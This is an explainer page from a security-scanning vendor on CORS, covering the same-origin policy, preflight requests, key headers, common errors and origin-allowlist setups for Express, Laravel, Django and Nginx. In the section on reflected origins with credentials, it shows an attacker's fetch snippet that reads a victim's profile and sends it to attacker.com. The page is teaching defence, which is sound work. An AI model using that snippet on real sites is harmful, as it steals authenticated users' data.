AI QA Monkey
AI Security Intelligence
Glossary

What Is CORS? Cross-Origin Resource Sharing Explained

CORS (Cross-Origin Resource Sharing) is a browser security mechanism that controls which external domains can access resources on your web server. It extends the Same-Origin Policy — a fundamental browser security feature that prevents JavaScript on one website from reading data from another website.

When a web page at https://app.example.com tries to fetch data from https://api.example.com, the browser checks the API server's CORS headers to determine if the request should be allowed. If the headers are missing or misconfigured, the browser blocks the response.

How CORS Works

The Same-Origin Policy

Two URLs have the same origin if they share the same protocol, domain, and port:

# Same origin:
https://example.com/page1  ↔  https://example.com/page2     ✅

# Different origin (different subdomain):
https://app.example.com    ↔  https://api.example.com       ❌

# Different origin (different port):
https://example.com        ↔  https://example.com:8080      ❌

# Different origin (different protocol):
http://example.com         ↔  https://example.com           ❌

Simple Requests vs. Preflight Requests

Simple requests (GET, HEAD, POST with standard headers) are sent directly. The browser checks the response headers afterward.

Preflight requests are sent automatically by the browser before "complex" requests (PUT, DELETE, custom headers, non-standard content types). The browser sends an OPTIONS request first to ask the server if the actual request is allowed.

# Preflight request (sent by browser automatically):
OPTIONS /api/data HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Content-Type, Authorization

# Server response (if allowed):
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400

Key CORS Headers

  • Access-Control-Allow-Origin — Which origins can access the resource
  • Access-Control-Allow-Methods — Which HTTP methods are allowed
  • Access-Control-Allow-Headers — Which request headers are allowed
  • Access-Control-Allow-Credentials — Whether cookies/auth can be sent
  • Access-Control-Max-Age — How long to cache preflight results
  • Access-Control-Expose-Headers — Which response headers JavaScript can read

Common CORS Errors

"No 'Access-Control-Allow-Origin' header is present"

The server isn't sending any CORS headers. You need to add Access-Control-Allow-Origin to your server configuration.

"The value of the 'Access-Control-Allow-Origin' header must not be the wildcard '*' when the request's credentials mode is 'include'"

You're using Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true. This is a security vulnerability. Use a specific origin instead of the wildcard.

"Method PUT is not allowed by Access-Control-Allow-Methods"

The server's Access-Control-Allow-Methods header doesn't include the HTTP method you're trying to use. Add the method to the allowed list.

CORS Security Risks

A misconfigured CORS policy can allow attackers to:

  • Read sensitive data from your API using a malicious website
  • Perform actions on behalf of authenticated users
  • Steal authentication tokens and session cookies
  • Bypass access controls by exploiting overly permissive origins

For detailed fix instructions with copy-paste configurations, see our complete CORS fix guide.

The most dangerous CORS configuration: wildcard with credentials

The single most dangerous CORS misconfiguration is setting Access-Control-Allow-Origin: * in combination with Access-Control-Allow-Credentials: true. This combination is so dangerous that modern browsers actually block it by design — but developers work around it by dynamically reflecting the Origin header instead of using a wildcard.

# Vulnerable: dynamically reflected Origin (common bypass of the wildcard restriction)
# Request header: Origin: https://evil.com
# Server response:
Access-Control-Allow-Origin: https://evil.com   <-- reflected from request!
Access-Control-Allow-Credentials: true          <-- allows cookies!

# What this means: ANY website can make authenticated requests to your API
# The attacker visits https://evil.com which sends:
fetch('https://api.yourdomain.com/user/profile', { credentials: 'include' })
  .then(r => r.json())
  .then(data => fetch('https://attacker.com/steal?data='+JSON.stringify(data)))

This is a complete account takeover vector. The fix is an explicit origin allowlist validated against a pre-approved list, never a reflection of whatever origin the request sends.

Server-side CORS validation pattern

The correct CORS implementation validates the Origin header server-side against an allowlist. Here is the pattern for the four most common stacks:

# Express.js (Node.js)
const allowedOrigins = ['https://app.yourdomain.com', 'https://admin.yourdomain.com'];
app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (allowedOrigins.includes(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
  }
  next();
});

# Laravel (PHP) — config/cors.php
'allowed_origins' => ['https://app.yourdomain.com'],
'supports_credentials' => true,

# Django (Python) — settings.py with django-cors-headers
CORS_ALLOWED_ORIGINS = ['https://app.yourdomain.com']
CORS_ALLOW_CREDENTIALS = True

# Nginx
add_header 'Access-Control-Allow-Origin' 'https://app.yourdomain.com' always;
add_header 'Access-Control-Allow-Credentials' 'true' always;

CORS and API security: the broader context

CORS is a browser-enforced policy — it only protects browser-based requests. Non-browser clients (curl, Postman, mobile apps, server-to-server calls) bypass CORS entirely. This is a critical distinction:

  • CORS does NOT protect APIs from server-side attacks: Attackers making direct HTTP requests from their servers bypass all CORS restrictions. CORS protects against cross-origin browser attacks only.
  • CORS does NOT replace authentication: A permissive CORS policy is a risk amplifier, not an authentication bypass by itself. APIs must require valid authentication tokens regardless of CORS configuration.
  • CORS errors in development are not security: Disabling CORS for development convenience and forgetting to re-enable it in production is a common source of production CORS vulnerabilities.

CORS by framework: correct implementation patterns

Each server framework handles CORS differently. Using middleware incorrectly — or setting headers in the wrong layer — is the most common source of CORS misconfigurations in production.

  • Express.js (Node.js): Use the cors npm package with an explicit origin allowlist function. Never pass origin: true (reflects any origin) or origin: '*' with credentials: true. The correct pattern: origin: (origin, callback) => { const allowed = ['https://app.yourdomain.com']; callback(null, allowed.includes(origin)); }
  • Laravel (PHP): Configure config/cors.php with 'allowed_origins' => ['https://app.yourdomain.com']. Avoid 'allowed_origins' => ['*'] with 'supports_credentials' => true — Laravel will throw an error, but some versions silently accept it.
  • Django (Python): Use django-cors-headers. Set CORS_ALLOWED_ORIGINS = ['https://app.yourdomain.com']. The CORS_ORIGIN_ALLOW_ALL = True setting combined with CORS_ALLOW_CREDENTIALS = True is the primary misconfiguration to avoid.
  • Next.js API routes: Set CORS headers manually in API route handlers or via middleware. Returning the request's Origin header as the Access-Control-Allow-Origin without validation (origin reflection) is equivalent to * with credentials — the most dangerous pattern.
  • Nginx/Apache (reverse proxy): If your application server sets CORS headers, confirm the reverse proxy is not overriding them. Duplicate Access-Control-Allow-Origin headers cause browsers to reject the response. Use add_header only at one layer.

CORS debugging checklist

  • Check the browser console for the specific CORS error message — it identifies the exact misconfiguration.
  • Use the browser Network tab to inspect the preflight OPTIONS request and its response headers.
  • Verify the server is returning Access-Control-Allow-Origin — not just the application, but the actual HTTP response from the server (Nginx, Apache, or load balancer may override application headers).
  • Test from the actual origin domain, not localhost — CORS behavior differs between origins.
  • Run the AI QA Monkey API & CORS scanner to detect wildcard origins, credential reflection, and preflight configuration issues externally.

Test Your CORS Configuration

Free API & CORS security scan — detects wildcard origins, credential reflection, and preflight issues.

Scan Your API Now

FAQ

What does CORS stand for?

CORS stands for Cross-Origin Resource Sharing. It uses HTTP headers to control which external domains can access your server's resources.

Why do browsers block cross-origin requests?

The Same-Origin Policy prevents malicious websites from reading data from other sites. Without it, any website could silently access your bank, email, or social media data.

What causes a CORS error?

A CORS error occurs when the target server doesn't include the correct Access-Control-Allow-Origin header. Common causes: missing headers, wildcard with credentials, unhandled preflight requests.

Check Your Website Right Now

Run a free automated security scan — 75 checks in 60 seconds. No signup required.

Run Free Security Scan →